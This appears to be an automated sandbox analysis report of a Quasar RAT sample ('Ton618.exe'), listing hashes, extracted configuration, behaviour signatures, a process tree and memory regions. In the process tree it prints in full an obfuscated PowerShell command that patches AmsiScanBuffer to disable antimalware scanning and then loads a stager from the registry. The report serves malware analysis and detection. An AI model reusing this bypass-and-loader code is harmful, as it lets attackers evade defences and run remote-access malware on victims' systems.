Analysis

  • max time kernel
    150s
  • max time network
    146s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    24-12-2024 01:21

General

  • Target

    Ton618.exe

  • Size

    6.6MB

  • MD5

    fa55ec4c1f2bde276ead921187cf36c1

  • SHA1

    ed2ba8a4c96f4f473e13baae9f6057bcdb043519

  • SHA256

    b32538fc97c82d2e3623d1b3ea1b7daa8948399da29651a6350bb598d183027c

  • SHA512

    6941dc68fa19375f6882c3cd6cd34fa5db6de8a421194207ed076f8272e256269b923a52c8141001204d87df288179ab7d3e5fc459e031c0c64a1dbc06fe43b1

  • SSDEEP

    49152:YEBm0Yz3KSzjhnbv5+/GSJFDdykdb2FXu7J2xePZaTohmxksuO+zTzuISFYUaGxE:YEBm0YpbvaDJFDdtbF1Z08Uxvs641/

Malware Config

Extracted

Family

quasar

Attributes
  • encryption_key

    6DC75341715F183F008C5D5A26E1967745A885D9

  • reconnect_delay

    3000

Signatures

  • Quasar RAT

    Quasar is an open source Remote Access Tool.

  • Quasar family
  • Quasar payload 1 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Modifies data under HKEY_USERS 41 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 29 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\winlogon.exe
    winlogon.exe
    1⤵
      PID:620
      • C:\Windows\System32\dllhost.exe
        C:\Windows\System32\dllhost.exe /Processid:{488f4dd5-f7b0-404e-aee0-63f390932b26}
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2460
    • C:\Users\Admin\AppData\Local\Temp\Ton618.exe
      "C:\Users\Admin\AppData\Local\Temp\Ton618.exe"
      1⤵
      • Checks computer location settings
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:3360
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /Delete /TN "$nya-Loli_1" /F
        2⤵
          PID:1056
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lQmh7A3xpSso.bat" "
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1772
          • C:\Windows\system32\chcp.com
            chcp 65001
            3⤵
              PID:1880
            • C:\Windows\system32\PING.EXE
              ping -n 10 localhost
              3⤵
              • System Network Configuration Discovery: Internet Connection Discovery
              • Runs ping.exe
              PID:2524
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"
            2⤵
            • Suspicious use of SetThreadContext
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:2476
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"
              3⤵
              • System Location Discovery: System Language Discovery
              PID:1336
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:PNgebNmEQFQc{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$TNMHfRRcIgBFzN,[Parameter(Position=1)][Type]$omHrGvdoDp)$ePrahYOlBYV=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+'e'+''+'f'+'l'+'e'+''+[Char](99)+''+[Char](116)+''+[Char](101)+''+[Char](100)+''+'D'+''+[Char](101)+''+[Char](108)+''+[Char](101)+'g'+[Char](97)+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+'n'+[Char](77)+''+[Char](101)+''+[Char](109)+''+[Char](111)+''+'r'+''+'y'+''+[Char](77)+''+'o'+'d'+'u'+''+'l'+''+[Char](101)+'',$False).DefineType('M'+[Char](121)+''+'D'+''+[Char](101)+''+[Char](108)+''+'e'+''+'g'+''+[Char](97)+''+'t'+''+[Char](101)+''+'T'+'y'+[Char](112)+''+[Char](101)+'',''+[Char](67)+''+[Char](108)+''+'a'+'ss'+[Char](44)+'Pub'+'l'+''+[Char](105)+''+[Char](99)+','+[Char](83)+''+[Char](101)+''+[Char](97)+''+'l'+''+[Char](101)+'d'+[Char](44)+''+[Char](65)+''+[Char](110)+''+[Char](115)+''+[Char](105)+''+'C'+'l'+[Char](97)+''+[Char](115)+'s'+','+''+'A'+''+[Char](117)+''+'t'+''+'o'+''+[Char](67)+''+'l'+''+[Char](97)+'s'+[Char](115)+'',[MulticastDelegate]);$ePrahYOlBYV.DefineConstructor(''+'R'+''+[Char](84)+''+'S'+''+[Char](112)+'e'+'c'+''+[Char](105)+''+[Char](97)+''+[Char](108)+'N'+[Char](97)+'m'+'e'+''+[Char](44)+'Hi'+[Char](100)+''+[Char](101)+'B'+'y'+''+'S'+''+[Char](105)+''+'g'+''+[Char](44)+''+[Char](80)+''+[Char](117)+''+'b'+'lic',[Reflection.CallingConventions]::Standard,$TNMHfRRcIgBFzN).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+'n'+''+[Char](116)+''+'i'+''+[Char](109)+'e'+[Char](44)+''+'M'+'a'+[Char](110)+'ag'+'e'+'d');$ePrahYOlBYV.DefineMethod('In'+'v'+'o'+[Char](107)+''+'e'+'','P'+'u'+'bl'+'i'+''+[Char](99)+','+[Char](72)+''+[Char](105)+'de'+'B'+''+[Char](121)+''+'S'+''+[Char](105)+'g,N'+'e'+''+[Char](119)+''+[Char](83)+''+[Char](108)+'ot'+','+''+[Char](86)+''+[Char](105)+'r'+'t'+''+'u'+'a'+'l'+'',$omHrGvdoDp,$TNMHfRRcIgBFzN).SetImplementationFlags('R'+[Char](117)+'n'+'t'+''+[Char](105)+''+[Char](109)+''+'e'+''+','+''+[Char](77)+'a'+[Char](110)+''+[Char](97)+''+[Char](103)+''+'e'+''+[Char](100)+'');Write-Output $ePrahYOlBYV.CreateType();}$lgguHdumIRgHk=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+[Char](121)+'s'+'t'+''+'e'+'m.dl'+[Char](108)+'')}).GetType(''+'M'+'i'+[Char](99)+''+[Char](114)+'o'+'s'+''+[Char](111)+''+'f'+''+[Char](116)+''+'.'+''+'W'+'i'+[Char](110)+''+[Char](51)+''+[Char](50)+''+[Char](46)+''+[Char](85)+''+'n'+'s'+'a'+''+'f'+''+'e'+''+[Char](78)+''+[Char](97)+''+'t'+''+[Char](105)+''+'v'+''+[Char](101)+'M'+[Char](101)+''+[Char](116)+''+'h'+''+[Char](111)+''+[Char](100)+''+[Char](115)+'');$IuWYaphdiFfwhb=$lgguHdumIRgHk.GetMethod(''+'G'+''+[Char](101)+''+[Char](116)+''+'P'+'r'+[Char](111)+''+[Char](99)+'Ad'+[Char](100)+''+'r'+''+'e'+''+[Char](115)+''+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+''+'u'+'b'+[Char](108)+''+'i'+''+[Char](99)+','+[Char](83)+''+[Char](116)+''+[Char](97)+'t'+'i'+''+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$AYzHNnCzwGGgukPMCpC=PNgebNmEQFQc @([String])([IntPtr]);$yzsHSbLgmuZleXOJUQYsGL=PNgebNmEQFQc @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$ccQMWajlcQZ=$lgguHdumIRgHk.GetMethod(''+[Char](71)+'e'+[Char](116)+''+[Char](77)+''+'o'+''+[Char](100)+''+'u'+'l'+[Char](101)+''+[Char](72)+''+[Char](97)+''+[Char](110)+'dle').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+'r'+''+'n'+'e'+[Char](108)+'3'+[Char](50)+'.d'+[Char](108)+''+[Char](108)+'')));$UDUJNdGnIncPZN=$IuWYaphdiFfwhb.Invoke($Null,@([Object]$ccQMWajlcQZ,[Object](''+[Char](76)+''+[Char](111)+''+'a'+'dL'+'i'+''+'b'+''+'r'+''+[Char](97)+'ry'+'A'+'')));$wXKQNRlMkkNAbEUCt=$IuWYaphdiFfwhb.Invoke($Null,@([Object]$ccQMWajlcQZ,[Object](''+[Char](86)+'i'+[Char](114)+'t'+[Char](117)+''+[Char](97)+''+'l'+''+[Char](80)+''+[Char](114)+'o'+'t'+'e'+'c'+'t')));$UsIjLMR=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($UDUJNdGnIncPZN,$AYzHNnCzwGGgukPMCpC).Invoke(''+[Char](97)+''+'m'+''+[Char](115)+''+'i'+''+[Char](46)+''+'d'+''+[Char](108)+''+[Char](108)+'');$DvyyCiCfMRLrAONkW=$IuWYaphdiFfwhb.Invoke($Null,@([Object]$UsIjLMR,[Object](''+[Char](65)+'m'+[Char](115)+''+[Char](105)+''+[Char](83)+''+[Char](99)+''+'a'+''+[Char](110)+'B'+[Char](117)+''+'f'+''+[Char](102)+''+'e'+'r')));$RQLbEhABwa=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($wXKQNRlMkkNAbEUCt,$yzsHSbLgmuZleXOJUQYsGL).Invoke($DvyyCiCfMRLrAONkW,[uint32]8,4,[ref]$RQLbEhABwa);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$DvyyCiCfMRLrAONkW,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($wXKQNRlMkkNAbEUCt,$yzsHSbLgmuZleXOJUQYsGL).Invoke($DvyyCiCfMRLrAONkW,[uint32]8,0x20,[ref]$RQLbEhABwa);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+'O'+''+[Char](70)+'T'+[Char](87)+''+[Char](65)+'R'+'E'+'').GetValue(''+[Char](36)+'n'+'y'+''+'a'+''+[Char](45)+''+'s'+''+'t'+''+'a'+''+[Char](103)+'e'+'r'+'')).EntryPoint.Invoke($Null,$Null)"
          1⤵
          • Suspicious use of NtCreateUserProcessOtherParentProcess
          • Command and Scripting Interpreter: PowerShell
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:3752

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Temp\lQmh7A3xpSso.bat

          Filesize

          166B

          MD5

          c97ff20f65840a47514722ef0700371f

          SHA1

          8309a9cabde3f4779f93ee2aba325620c9934c4c

          SHA256

          a7de35c350c16a6a469d4d6fd26d90b3acbe1d377d303bd28b34c679eb33a9be

          SHA512

          65792bd3b7f6a73d2e9b3c2b2a97bddb42bfc12cd24cc239f7b4af4f38e10cc713b78e78a0a9a6279d79a117cd1de79e0c8376f2e0d2f0c9bda9c64381f0779b

        • C:\Windows\Temp\__PSScriptPolicyTest_ixn4aqyf.1yy.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • memory/1336-13-0x0000000000400000-0x000000000042B000-memory.dmp

          Filesize

          172KB

        • memory/1336-11-0x0000000000400000-0x000000000042B000-memory.dmp

          Filesize

          172KB

        • memory/2460-31-0x0000000140000000-0x0000000140008000-memory.dmp

          Filesize

          32KB

        • memory/2460-29-0x0000000140000000-0x0000000140008000-memory.dmp

          Filesize

          32KB

        • memory/2460-36-0x0000000140000000-0x0000000140008000-memory.dmp

          Filesize

          32KB

        • memory/2460-34-0x00007FFD32750000-0x00007FFD32945000-memory.dmp

          Filesize

          2.0MB

        • memory/2460-35-0x00007FFD31200000-0x00007FFD312BE000-memory.dmp

          Filesize

          760KB

        • memory/2460-26-0x0000000140000000-0x0000000140008000-memory.dmp

          Filesize

          32KB

        • memory/2460-27-0x0000000140000000-0x0000000140008000-memory.dmp

          Filesize

          32KB

        • memory/2460-28-0x0000000140000000-0x0000000140008000-memory.dmp

          Filesize

          32KB

        • memory/2476-10-0x0000000000560000-0x0000000000589000-memory.dmp

          Filesize

          164KB

        • memory/3360-2-0x00007FFD14340000-0x00007FFD14E01000-memory.dmp

          Filesize

          10.8MB

        • memory/3360-0-0x00007FFD14343000-0x00007FFD14345000-memory.dmp

          Filesize

          8KB

        • memory/3360-1-0x0000000000DB0000-0x0000000001454000-memory.dmp

          Filesize

          6.6MB

        • memory/3360-5-0x00007FFD14340000-0x00007FFD14E01000-memory.dmp

          Filesize

          10.8MB

        • memory/3360-3-0x00007FFD14340000-0x00007FFD14E01000-memory.dmp

          Filesize

          10.8MB

        • memory/3360-4-0x000000001D0D0000-0x000000001D0F2000-memory.dmp

          Filesize

          136KB

        • memory/3360-42-0x00007FFD14340000-0x00007FFD14E01000-memory.dmp

          Filesize

          10.8MB

        • memory/3752-25-0x00007FFD31200000-0x00007FFD312BE000-memory.dmp

          Filesize

          760KB

        • memory/3752-24-0x00007FFD32750000-0x00007FFD32945000-memory.dmp

          Filesize

          2.0MB

        • memory/3752-23-0x0000019FE4820000-0x0000019FE484A000-memory.dmp

          Filesize

          168KB